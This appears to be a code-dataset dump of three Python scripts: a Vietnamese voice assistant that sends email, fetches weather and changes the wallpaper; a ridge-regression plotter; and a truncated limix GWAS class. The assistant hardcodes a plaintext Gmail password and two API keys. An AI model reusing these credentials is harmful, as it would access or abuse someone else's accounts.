Vui Lòng cài đặt cho tui nha !\")\n\n\ndef open_website(text):\n reg_ex = re.search('mở (.+)', text)\n if reg_ex:\n domain = reg_ex.group(1)\n url = \"https://www.\" + domain\n webbrowser.open(url)\n speak(\"Trang web bạn yêu cầu đã được mở. \")\n if input(\"Nếu muốn tiếp tục thì nhấn q: \") == \"q\":\n pass\n return True\n else:\n return False\n\n\ndef open_google_and_search(text):\n search_for = str(text).split(\"kiếm\", 1)[1]\n url = f\"https://www.google.com/search?q={search_for}\"\n webbrowser.get().open(url)\n speak(\"Đây là thông tin bạn cần tìm\")\n\n\ndef open_google_and_search2():\n speak(\"Nói thứ bạn cần tìm kiếm trên google\")\n search = str(get_text()).lower()\n url = f\"https://www.google.com/search?q={search}\"\n webbrowser.get().open(url)\n speak(\"Đây là thông tin bạn cần tìm\")\n\n\ndef send_email(text):\n speak(\"Bạn gửi email cho ai vậy nhỉ ?\")\n recipient = get_text()\n if \"minh\" in recipient:\n speak(\"Nói cho tôi nội dung email bạn muốn gửi ! ... >\")\n content = get_text()\n mail = smtplib.SMTP(\"smtp.gmail.com\", 587)\n mail.ehlo()\n mail.starttls()\n mail.login(\"itaisv1999@gmail.com\", \"test7777\")\n mail.sendmail(\"itaisv1999@gmail.com\",\n \"huyph11247@gmail.com\", str(content).encode(\"utf-8\"))\n mail.close()\n speak(\"Email của bạn đã được gửi. Bạn vui lòng kiểm tra lại giúp ! >\")\n else:\n speak(\"Lý Hành không hiểu bạn muốn gửi email cho ai ...\")\n\n\ndef current_weather():\n speak(\"Bạn muốn xem thời tiết ở đâu ạ.\")\n # Đường dẫn trang web để lấy dữ liệu về thời tiết\n ow_url = \"http://api.openweathermap.org/data/2.5/weather?\"\n # lưu tên thành phố vào biến city\n city = get_text()\n # nếu biến city != 0 và = False thì để đấy ko xử lí gì cả\n if not city:\n pass\n # api_key lấy trên open weather map\n api_key = \"b4750c6250a078a943b3bf920bb138a0\"\n # tìm kiếm thông tin thời thời tiết của thành phố\n call_url = ow_url + \"appid=\" + api_key + \"&q=\" + city + \"&units=metric\"\n # truy cập đường dẫn của dòng 188 lấy dữ liệu thời tiết\n response = requests.get(call_url)\n # lưu dữ liệu thời tiết dưới dạng json và cho vào biến data\n data = response.json()\n # kiểm tra nếu ko gặp lỗi 404 thì xem xét và lấy dữ liệu\n if data[\"cod\"] != \"404\":\n # lấy value của key main\n city_res = data[\"main\"]\n # nhiệt độ hiện tại\n current_temperature = city_res[\"temp\"]\n # áp suất hiện tại\n current_pressure = city_res[\"pressure\"]\n # độ ẩm hiện tại\n current_humidity = city_res[\"humidity\"]\n # thời gian mặt trời\n suntime = data[\"sys\"]\n # \tlúc mặt trời mọc, mặt trời mọc\n sunrise = datetime.datetime.fromtimestamp(suntime[\"sunrise\"])\n # lúc mặt trời lặn\n sunset = datetime.datetime.fromtimestamp(suntime[\"sunset\"])\n # thông tin thêm\n wthr = data[\"weather\"]\n # mô tả thời tiết\n weather_description = wthr[0][\"description\"]\n # Lấy thời gian hệ thống cho vào biến now\n now = datetime.datetime.now()\n # hiển thị thông tin với người dùng\n content = f\"\"\"\n Hôm nay là ngày {now.day} tháng {now.month} năm {now.year}\n Mặt trời mọc vào {sunrise.hour} giờ {sunrise.minute} phút\n Mặt trời lặn vào {sunset.hour} giờ {sunset.minute} phút\n Nhiệt độ trung bình là {current_temperature} độ C\n Áp suất không khí là {current_pressure} héc tơ Pascal\n Độ ẩm là {current_humidity}%\n \"\"\"\n speak(content)\n else:\n # nếu tên thành phố không đúng thì nó nói dòng dưới 227\n speak(\"Không tìm thấy địa chỉ của bạn\")\n\n\ndef play_youtube():\n speak(\"Nói nội dung bạn muốn tìm trên youtube\")\n search = get_text()\n url = f\"https://www.youtube.com/search?q={search}\"\n webbrowser.get().open(url)\n speak(\"Đây là thứ mà tôi tìm được bạn xem qua nhé\")\n\n\ndef play_youtube_2():\n speak(\"Nói nội dung bạn muốn tìm trên youtube\")\n search = get_text()\n while True:\n result = YoutubeSearch(search, max_results=10).to_dict()\n if result:\n break\n url = f\"https://www.youtube.com\" + result[0]['url_suffix']\n webbrowser.get().open(url)\n speak(\"Đây là thứ mà tôi tìm được bạn xem qua nhé\")\n print(result)\n\n\n# url = 'https://api.unsplash.com/photos/random?client_id=' + \\\n# api_key\ndef change_wallpaper():\n api_key = \"XFyV6boeltUQBb9ROo5nPsWWvoPPDCPLRSwMaO_IXc4\"\n url = 'https://api.unsplash.com/photos/random?client_id=' + \\\n api_key # pic from unspalsh.com\n f = urllib2.urlopen(url)\n json_string = f.read()\n f.close()\n parsed_json = json.loads(json_string)\n photo = parsed_json['urls']['full']\n # Location where we download the image to.\n urllib2.urlretrieve(photo, \"D:\\\\Download____CocCoc\\\\a.png\")\n image = os.path.join(\"D:\\\\Download____CocCoc\\\\a.png\")\n ctypes.windll.user32.SystemParametersInfoW(20, 0, image, 3)\n speak(\"Hình nền máy tính bạn đã được thay đổi. Bạn ra home xem có đẹp không nha ?\")\n\n\ndef play_music(path):\n # path là tham số chứa đường dẫn thư mục chứa nhạc\n myPATH = path\n # lấy file nhạc ra\n ds = os.listdir(myPATH)\n # dùng for mở từng bài nhạc\n for i in ds:\n print(\"\\nĐang phát bài : \" + i)\n os.system(myPATH + \"\\\\\" + i)\n print(\"\\nĐã phát xong bài : \\t\\t\" + i)\n\n\ndef tell_me_about():\n try:\n speak(\"Hãy nói cho tôi nghe Bạn muốn tìm gì ạ ?\")\n text = get_text()\n contents = wikipedia.summary(text).split('\\n')\n speak(contents[0])\n dem = 0\n for content in contents[1:]:\n if dem < 2:\n speak(\"Bạn có muốn biết thêm không ???\")\n ans = get_text()\n if 'có' not in ans:\n break\n dem += 1\n speak(content)\n speak(\"Đây là nội dung tôi vừa tìm được cảm ơn bạn đã lắng nghe\")\n except:\n speak(f\"{name} không định nghĩa được thuật ngữ của bạn !!!\")\n\n\ndef help_me():\n speak(f\"\"\"\n {robot_name} có thể giúp bạn thực hiện các việc sau đây:\n 1. chào hỏi\n 2. Hiển thị giờ\n 3. Mở website, ứng dụng desktop\n 4. Tìm kiếm với google\n 5. Gửi email\n 6. Dự báo thời tiết\n 7. Tìm kiếm video với youtube\n 8. Thay đổi hình nền máy tính\n 9. Định nghĩa với từ điển bách khoa toàn thư ( Wikipedia )\n 10. Mở nhạc trong máy bạn\n \"\"\")\n\ndef main_brain():\n speak(\"Xin chào. Bạn tên là gì ?\")\n global robot_name\n robot_name = \"Lý hành\"\n global name\n name = get_text()\n if name:\n speak(f'Xin chào bạn {name}.')\n speak(f'Bạn cần LÝ HÀNH giúp gì không ạ ?')\n while True:\n text = get_text()\n\n if not text:\n break\n elif ('tạm biệt' in text) or ('hẹn gặp lại' in text):\n stop()\n break\n elif \"chào trợ lý\" in text:\n hello(name)\n elif \"hiện tại\" in text:\n get_time(text)\n\n elif \"mở\" in text:\n\n if '.' in text:\n open_website(text)\n elif \"mở nhạc\" in text:\n speak(\"Ok. Tôi bắt đầu mở nhạc đây\")\n play_music(r\"D:\\testcode\\youtube\\music_youtube\")\n else:\n open_application(text)\n\n elif \"tìm kiếm\" in text:\n if str(text).split(\"kiếm\", 1)[1] == \"\":\n open_google_and_search2()\n else:\n open_google_and_search(text)\n elif (\"email\" in text) or (\"mail\" in text) or (\"gmail\" in text):\n send_email(text)\n elif \"thời tiết\" in text:\n current_weather()\n elif 'youtube' in text:\n speak(\"Bạn muốn tìm kiếm đơn giản hay phức tạp\")\n yeu_cau = get_text()\n if \"đơn giản\" in yeu_cau:\n play_youtube()\n if input():\n pass\n elif \"phức tạp\" in yeu_cau:\n play_youtube_2()\n if input(\"Tiếp tục y/n: \") == \"y\":\n pass\n elif \"hình nền\" in text:\n change_wallpaper()\n elif \"định nghĩa\" in text:\n tell_me_about()\n elif \"có thể làm gì\" in text:\n help_me()\n else:\n speak(f\"Chức năng chưa có. Bạn vui lòng chọn lại chức năng đã có trong menu nha ! \")\n\nmain_brain()\n", "sub_path": "ai3.py", "file_name": "ai3.py", "file_ext": "py", "file_size_in_byte": 13457, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "wikipedia.set_lang", "line_number": 24, "usage_type": "call"}, {"api_name": "pyttsx3.init", "line_number": 34, "usage_type": "call"}, {"api_name": "speech_recognition.Recognizer", "line_number": 53, "usage_type": "call"}, {"api_name": "speech_recognition.Microphone", "line_number": 54, "usage_type": "call"}, {"api_name": "speech_recognition.Recognizer", "line_number": 70, "usage_type": "call"}, {"api_name": "speech_recognition.Microphone", "line_number": 71, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 94, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 100, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 116, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 116, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 128, "usage_type": "call"}, {"api_name": "os.system", "line_number": 131, "usage_type": "call"}, {"api_name": "os.system", "line_number": 134, "usage_type": "call"}, {"api_name": "re.search", "line_number": 140, "usage_type": "call"}, {"api_name": "webbrowser.open", "line_number": 144, "usage_type": "call"}, {"api_name": "webbrowser.get", "line_number": 156, "usage_type": "call"}, {"api_name": "webbrowser.get", "line_number": 164, "usage_type": "call"}, {"api_name": "smtplib.SMTP", "line_number": 174, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 200, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 216, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 216, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 218, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 218, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 224, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 224, "usage_type": "attribute"}, {"api_name": "webbrowser.get", "line_number": 244, "usage_type": "call"}, {"api_name": "youtube_search.YoutubeSearch", "line_number": 252, "usage_type": "call"}, {"api_name": "webbrowser.get", "line_number": 256, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 267, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 267, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 270, "usage_type": "call"}, {"api_name": "urllib.request.urlretrieve", "line_number": 273, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 273, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 274, "usage_type": "call"}, {"api_name": "os.path", "line_number": 274, "usage_type": "attribute"}, {"api_name": "ctypes.windll.user32.SystemParametersInfoW", "line_number": 275, "usage_type": "call"}, {"api_name": "ctypes.windll", "line_number": 275, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 283, "usage_type": "call"}, {"api_name": "os.system", "line_number": 287, "usage_type": "call"}, {"api_name": "wikipedia.summary", "line_number": 295, "usage_type": "call"}]} +{"seq_id": "93170524", "text": "# include flake8, black\n\nimport argparse\nimport os\n\nimport matplotlib.animation as animation\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom sympy import latex, Symbol\n\n\ndef regression_2d(x, y, deg, lam):\n \"\"\"\n Find regression assumption for 2D data.\n\n Parameters:\n x : ndarray\n First input.\n y : ndarray\n Second input. Should have the same number of dimensions as x.\n deg : int\n Degree for x in regression function.\n lam : float\n Normalization coefficient.\n\n Returns:\n w : ndarray\n Regression function coefficient.\n # For example\n deg = 3, w = [1,2,3,4]\n -> it means \"f = 1 + 2x + 3x^2 + 4x^3\".\n \"\"\"\n\n phi = np.array([[p ** i for i in range(deg + 1)] for p in x])\n w = np.linalg.inv(phi.T @ phi + lam * np.eye(deg + 1)) @ phi.T @ y\n return w\n\n\ndef regression_3d(x, y, z, deg_x, deg_y, lam):\n \"\"\"\n Find regression assumption for 3D data.\n\n Parameters:\n x : ndarray\n First input.\n y : ndarray\n Second input. Should have the same number of dimensions as x.\n z : ndarray\n Third input. Should have the same number of dimensions as x and y.\n deg_x : int\n Degree for x in regression function.\n deg_y : int\n Degree for y in regression function.\n lam : float\n Normalization coefficient.\n\n Returns:\n w : ndarray\n Regression function coefficient.\n # For example\n deg_x = 3, deg_y = 2, w = [1,2,3,4,5,6]\n -> it means \"f = 1 + 2x + 3x^2 + 4x^3 + 5y + 6y^2\".\n \"\"\"\n\n phi_x = np.array([[p ** i for i in range(deg_x + 1)] for p in x])\n phi_y = np.array([[p ** (i + 1) for i in range(deg_y)] for p in y])\n phi = np.hstack([phi_x, phi_y])\n w = np.linalg.inv(phi.T @ phi + lam * np.eye(deg_x + deg_y + 1)) @ phi.T @ z\n return w\n\n\ndef latexfunc(w, deg_x, deg_y=None):\n \"\"\"\n Convert w (regression function coefficient) into function as LaTeX style.\n\n Parameters:\n w : ndarray\n Regression function coefficient.\n # For example\n deg_x = 3, deg_y = 2, w = [1,2,3,4,5,6]\n -> it means \"f = 1 + 2x + 3x^2 + 4x^3 + 5y + 6y^2\".\n deg_x : int\n Degree for x in regression function.\n deg_y : int\n Degree for y in regression function.\n\n Returns:\n f : str\n Function as LaTeX.\n \"\"\"\n\n x = Symbol(\"x\")\n f = 0\n for i in range(deg_x + 1):\n f += round(w[i], 2) * x ** i\n if deg_y is not None:\n y = Symbol(\"y\")\n for i in range(deg_y):\n f += round(w[deg_x + i + 1], 2) * y ** (i + 1)\n f = latex(f)\n return f\n\n\ndef my_removesuffix(str, suffix):\n \"\"\"\n A method which returns a new string with the trimmed suffix\n if the str ends with it else it will return the original string.\n\n Parameters:\n str : str\n Original string.\n suffix : str\n Trimmed suffix.\n\n Returns:\n str\n New string with the trimmed suffix.\n \"\"\"\n\n return str[: -len(suffix)] if str.endswith(suffix) else str\n\n\ndef main(args):\n \"\"\"\n fname = \"data3.csv\"\n save_fname = \"data3_2.gif\"\n deg_x = 1\n deg_y = 4\n lam = 0.00001\n \"\"\"\n\n fname = args.fname\n save_fname = args.save_fname\n deg_x = args.deg_x\n deg_y = args.deg_y\n lam = args.lam\n\n # get current working directory\n path = os.path.dirname(os.path.abspath(__file__))\n\n # For example, if fname = data1.csv, graphtitle = data1\n graphtitle = my_removesuffix(fname, \".csv\")\n\n fname = os.path.join(path, \"data\", fname)\n save_fname = os.path.join(path, \"result\", save_fname)\n\n # load csv file and convert to ndarray\n data = pd.read_csv(fname).values\n\n # if data is 2 dimensional\n if data.shape[1] == 2:\n x = data[:, 0] # load x1\n y = data[:, 1] # load x2\n\n # define coordinates for regression assumption\n reg_x = np.linspace(x.min(), x.max(), 500)\n reg_y = np.zeros_like(reg_x)\n w = regression_2d(x, y, deg_x, lam)\n # print(w)\n\n y_hat = np.zeros_like(x)\n for i in range(len(w)):\n reg_y += w[i] * reg_x ** i\n y_hat += w[i] * x ** i\n mse = round(np.mean((y - y_hat) ** 2), 3)\n\n # plot original data and regression assumption\n fig = plt.figure()\n ax = fig.add_subplot(111, xlabel=\"X\", ylabel=\"Y\")\n ax.scatter(x, y, s=12, c=\"darkblue\", label=\"observed\")\n plt.plot(reg_x, reg_y, c=\"r\", label=\"predicted\")\n ax.grid(ls=\"--\")\n ax.set_title(\n graphtitle\n + \" (deg = {0}, lam = {1}) MSE = {2:.3f}\\n\".format(deg_x, lam, mse)\n + \"$f(x) = \"\n + latexfunc(w, deg_x)\n + \"$\"\n )\n ax.legend(loc=\"best\", fontsize=10)\n plt.savefig(save_fname)\n plt.show()\n\n # if data is 3 dimensional\n elif data.shape[1] == 3:\n x = data[:, 0] # load x1\n y = data[:, 1] # load x2\n z = data[:, 2] # load x3\n\n # define coordinates for regression assumption\n reg_x = np.linspace(x.min(), x.max(), 30)\n reg_y = np.linspace(y.min(), y.max(), 30)\n reg_x, reg_y = np.meshgrid(reg_x, reg_y)\n reg_z = np.zeros_like(reg_x)\n w = regression_3d(x, y, z, deg_x, deg_y, lam)\n # print(w)\n\n z_hat = np.zeros_like(x)\n for i in range(deg_x + 1):\n reg_z += w[i] * reg_x ** i\n z_hat += w[i] * x ** i\n for i in range(deg_y):\n reg_z += w[deg_x + i + 1] * reg_y ** (i + 1)\n z_hat += w[deg_x + i + 1] * y ** (i + 1)\n mse = round(np.mean((z - z_hat) ** 2), 3)\n\n # plot original data and regression assumption\n fig = plt.figure()\n ax = fig.add_subplot(111, projection=\"3d\")\n ax.scatter3D(x, y, z, s=20, c=\"darkblue\", label=\"observed\")\n ax.plot_wireframe(\n reg_x, reg_y, reg_z, color=\"red\", linewidth=0.5, label=\"predicted\"\n )\n ax.set(\n title=graphtitle\n + \"_3D (deg_x = {0}, deg_y = {1}, lam = {2}) MSE = {3:.3f}\\n\".format(\n deg_x, deg_y, lam, mse\n )\n + \"$f(x, y) = \"\n + latexfunc(w, deg_x, deg_y)\n + \"$\",\n xlabel=\"X\",\n ylabel=\"Y\",\n zlabel=\"Z\",\n )\n ax.legend(loc=\"best\", fontsize=10)\n plt.savefig(save_fname.replace(\"gif\", \"png\"))\n\n # unused\n \"\"\"\n def init():\n ax.scatter3D(x, y, z, s=20, c=\"darkblue\")\n ax.set(title=\"3D\", xlabel=\"X\", ylabel=\"Y\", zlabel=\"Z\")\n return fig\n \"\"\"\n\n def update(i):\n \"\"\"\n Move view point.\n\n Parameters:\n i : int\n Number of frames.\n\n Returns:\n fig : matplotlib.figure.Figure\n Figure viewed from angle designated by view_init function.\n \"\"\"\n\n ax.view_init(elev=30.0, azim=3.6 * i)\n return fig\n\n # animate graph\n ani = animation.FuncAnimation(fig, update, frames=100, interval=100)\n ani.save(save_fname, writer=\"pillow\")\n # ani.save(path + \"/result/data3_result3D.mp4\", writer=\"ffmpeg\", dpi=100)\n plt.show()\n\n\nif __name__ == \"__main__\":\n # process args\n parser = argparse.ArgumentParser(description=\"Regression and Regularization.\")\n parser.add_argument(\"fname\", type=str, help=\"Load Filename\")\n parser.add_argument(\"save_fname\", type=str, help=\"Save Filename\")\n parser.add_argument(\n \"-x\",\n \"--deg_x\",\n type=int,\n help=\"Degree for x in regression function\",\n required=True,\n )\n parser.add_argument(\n \"-y\",\n \"--deg_y\",\n type=int,\n help=\"Degree for y in regression function (optional, Default = 0).\\nif you load data3.csv, this is required.\",\n default=0,\n )\n parser.add_argument(\n \"-l\",\n \"--lam\",\n type=float,\n help=\"Normalization coefficient (optional, Default = 0).\",\n default=0,\n )\n args = parser.parse_args()\n main(args)\n", "sub_path": "ex_3/t_yamamoto/ex3.py", "file_name": "ex3.py", "file_ext": "py", "file_size_in_byte": 8306, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.eye", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 69, "usage_type": "attribute"}, {"api_name": "numpy.eye", "line_number": 69, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 93, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 98, "usage_type": "call"}, {"api_name": "sympy.latex", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path", "line_number": 140, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 145, "usage_type": "call"}, {"api_name": "os.path", "line_number": 145, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path", "line_number": 146, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 172, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 172, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 206, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 209, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 209, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 228, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 228, "usage_type": "name"}, {"api_name": "matplotlib.animation.FuncAnimation", "line_number": 255, "usage_type": "call"}, {"api_name": "matplotlib.animation", "line_number": 255, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 258, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 258, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 263, "usage_type": "call"}]} +{"seq_id": "327598811", "text": "\"\"\"\n mtl (multi trait limix)\n author: christian goeschl\n date: 2016-09-16\n\"\"\"\n\nimport csv\nimport sys\nimport time\n\nimport h5py\nimport limix.qtl as qtl\nimport numpy as np\nimport os\nimport pandas as pd\nimport scipy as sp\n\nimport pygwas_modules.kinship as kinship\nimport pygwas_modules.plotting as gplt\nimport pygwas_modules.result as res\nfrom genehunter.core.GeneAnnotationDbExtractor import GeneAnnotationDbExtractor\n\n\nclass MTL:\n def __init__(self, mac_thres=0):\n self.mac_thres = mac_thres\n self.phenotypes = pd.DataFrame()\n # self.snps = None\n # self.iid = None\n self.ibs = None\n self.ts_norm = None\n # self.bnorm_K = None\n # self.used_snp_pos = None\n self.macs = None\n self.mafs = None\n # self.chromosomes = None\n # self.chr_names = None\n self.pvalues = None\n\n def read_phenotype_col(self, phenotype_filepath, colnr, colprefix=\"\"):\n sys.stdout.write(\"reading phenotypes: {}, col: {}\\n\".format(phenotype_filepath, colnr))\n with open(phenotype_filepath, 'U') as phenofile:\n dialect = csv.Sniffer().sniff(phenofile.readline())\n phenofile.seek(0)\n\n reader = csv.reader(phenofile, dialect=dialect)\n hcols = reader.next()\n\n p = []\n for dcols in reader:\n if len(dcols) == 0:\n continue\n\n try:\n p.append([dcols[0], np.float64(dcols[colnr])])\n except ValueError:\n sys.stdout.write(\n \"excluding accession {} because of trait value {}\\n\".format(dcols[0], dcols[colnr]))\n continue\n\n data = pd.DataFrame(p)\n\n ids = data[0].values\n data.index = ids\n data = data[list(range(1, data.shape[1]))]\n data.columns = [\"_\".join([colprefix, hcols[colnr]])]\n\n if self.phenotypes.size == 0:\n self.phenotypes = data\n else:\n pheno_acc_ids = list(set(self.phenotypes.index) & set(ids))\n self.phenotypes = pd.concat([self.phenotypes.loc[pheno_acc_ids], data.loc[pheno_acc_ids]], axis=1)\n sys.stdout.write(\"phenotype intersection is {} accessions.\\n\".format(len(pheno_acc_ids)))\n\n self.phenotypes.sort_index(axis=0, inplace=True)\n return\n\n def write_phenotypes(self, path):\n self.phenotypes.to_csv(path, sep=',', index=True, index_label=\"Acc_ID\")\n\n def read_genotypes(self, genotype_filepath):\n sys.stdout.write(\"reading genotypes ... \")\n sys.stdout.flush()\n with h5py.File(genotype_filepath, 'r') as genofile:\n geno_acc_ids = list(genofile[\"/accessions\"].value)\n pheno_geno_acc_intersect = list(set(geno_acc_ids) & set(self.phenotypes.index))\n geno_acc_idx = np.in1d(genofile['/accessions'], pheno_geno_acc_intersect)\n snps = genofile[\"/snps\"][:, geno_acc_idx]\n geno_acc_ids = np.array(geno_acc_ids)[geno_acc_idx]\n\n chr_names = genofile['positions'].attrs.get('chrs')\n chr_regions = np.array(genofile['positions'].attrs.get('chr_regions'))\n geno_chroms = []\n for ix, reg in enumerate(chr_regions):\n geno_chroms.extend(np.repeat(chr_names[ix], reg[1] - reg[0]))\n pos = genofile['/positions'].value\n sys.stdout.write(\"ok.\\n\")\n\n macs = np.array(snps.sum(axis=1)).astype(int)\n macs_th = (macs >= self.mac_thres) & (macs <= snps.shape[0] - self.mac_thres)\n snps = snps[macs_th, :]\n sys.stdout.write(\"removed {:d} snps because of MAC threshold {:d}. (Remaining snps: {:d}.)\\n\"\n .format(pos.shape[0] - snps.shape[0], self.mac_thres, snps.shape[0]))\n pos = pos[macs_th]\n geno_chroms = np.array(geno_chroms)[macs_th]\n\n snps = pd.DataFrame(snps, index=pd.MultiIndex.from_arrays([geno_chroms, pos], names=('chr', 'pos')), columns=geno_acc_ids)\n snps = snps.reindex_axis(sorted(snps.columns), axis=1)\n\n accs_no_geno_info = np.array(self.phenotypes.index)[\n np.invert(np.in1d(self.phenotypes.index, pheno_geno_acc_intersect))]\n if accs_no_geno_info.size > 0:\n self.phenotypes.drop(accs_no_geno_info, inplace=True)\n sys.stdout.write(\"no genotype information for accessions: {}. Removed them from list of phenotypes.\\n\".format(\n accs_no_geno_info))\n\n self.ibs = np.array(kinship.calc_ibs_kinship(snps.values))\n\n # # snps.index = pd.MultiIndex.from_arrays([geno_chroms, pos])\n # #geno_acc_ids\n # for ix, reg in enumerate(chr_regions):\n # self.chromosomes[reg[0]:reg[1]] = self.chr_names[ix]\n #\n # self.iid = sorted(list(set(geno_acc_ids) & set(self.phenotypes.index)))\n # del geno_acc_ids\n #\n # sys.stdout.write(\"genotype-phenotype intersection is {} accessions.\\n\".format(len(self.iid)))\n #\n # snps = np.array(snps.loc[self.iid])\n # snpsshape = snps.shape\n #\n #\n # ts = snps[:, macs_th]\n # sys.stdout.write(\"creating kinship matrix ... \")\n # sys.stdout.flush()\n # start = time.time()\n # self.ibs = kinship.calc_ibs_kinship(ts.T)\n #\n # # self.bnorm_K = kinship.scale_k(ibs).astype(np.float64)\n # elapsed = time.time() - start\n # sys.stdout.write(\"ok. ({} s)\\n\".format(elapsed))\n\n # self.used_snp_pos = pos[macs_th]\n self.macs = macs[macs_th]\n self.mafs = self.macs / float(snps.shape[0])\n # self.chromosomes = self.chromosomes[macs_th]\n # ts=sub_snps[:,(sumts(sub_snps.shape[0]*0.01))]\n ts_norm = snps.values.T.astype(float)\n ts_norm = (ts_norm - ts_norm.mean(axis=0)) / ts_norm.std(axis=0)\n self.ts_norm = pd.DataFrame(ts_norm, index=snps.columns, columns=snps.index)\n return\n\n # def create_kinship(self):\n # sys.stdout.write(\"creating kinship matrix ... \")\n # sys.stdout.flush()\n # sub_snps = self.snps.loc[self.iid]\n # sub_snps = np.array(sub_snps)\n # sub_snps = sub_snps.astype(np.float64)\n #\n # # self.snps = self.snps.loc[self.iid]\n # # sumts = self.snps.sum(axis=0)\n # # ts = self.snps[:, (sumts != 0) & (sumts != self.snps.shape[0])]\n # # self.used_snp_pos = self.snps.columns[(sumts != 0) & (sumts != self.snps.shape[0])].astype(np.float64)\n # mac = sub_snps.sum(axis=0)\n # maf = float(mac)/sub_snps.shape[0]\n # ts = sub_snps[:, (mac != 0) & (mac != sub_snps.shape[0])]\n # self.used_snp_pos = self.snps.columns[(mac != 0) & (mac != sub_snps.shape[0])].astype(np.float64)\n # # ts=sub_snps[:,(sumts(sub_snps.shape[0]*0.01))]\n # self.ts_norm = (ts - ts.mean(axis=0)) / ts.std(axis=0)\n #\n # start = time.time()\n # self.ibs = kinship.calc_ibd_kinship(ts.T)\n # elapsed = time.time() - start\n # sys.stdout.write(\"ok. ({} s)\\n\".format(elapsed))\n\n def box_cox_transform(self, values, lambda_range=(-2.0, 2.0), lambda_increment=0.1, verbose=False,\n method='standard'):\n \"\"\"\n Performs the Box-Cox transformation, over different ranges, picking the optimal one w. respect to normality.\n \"\"\"\n from scipy import stats\n a = sp.array(values)\n if method == 'standard':\n vals = (a - min(a)) + 0.1 * sp.std(a)\n else:\n vals = a\n sw_pvals = []\n lambdas = sp.arange(lambda_range[0], lambda_range[1] + lambda_increment, lambda_increment)\n for l in lambdas:\n if l == 0:\n vs = sp.log(vals)\n else:\n vs = ((vals ** l) - 1) / l\n r = stats.shapiro(vs)\n if sp.isfinite(r[0]):\n pval = r[1]\n else:\n pval = 0.0\n sw_pvals.append(pval)\n # log.info(sw_pvals)\n i = sp.argmax(sw_pvals)\n l = lambdas[i]\n if l == 0:\n vs = sp.log(vals)\n else:\n vs = ((vals ** l) - 1) / l\n # self._perform_transform(vals,\"box-cox\")\n sys.stdout.write('optimal lambda was %0.1f\\n' % l)\n return vals\n\n def do_qtl(self):\n pheno_norm = self.phenotypes.values.astype(float)\n p1 = pheno_norm[:, 0]\n p2 = pheno_norm[:, 1]\n p1 = (p1 - p1.mean()) / p1.std()\n p2 = (p2 - p2.mean()) / p2.std()\n pheno_norm = np.vstack([p1, p2]).T\n\n # p1 = 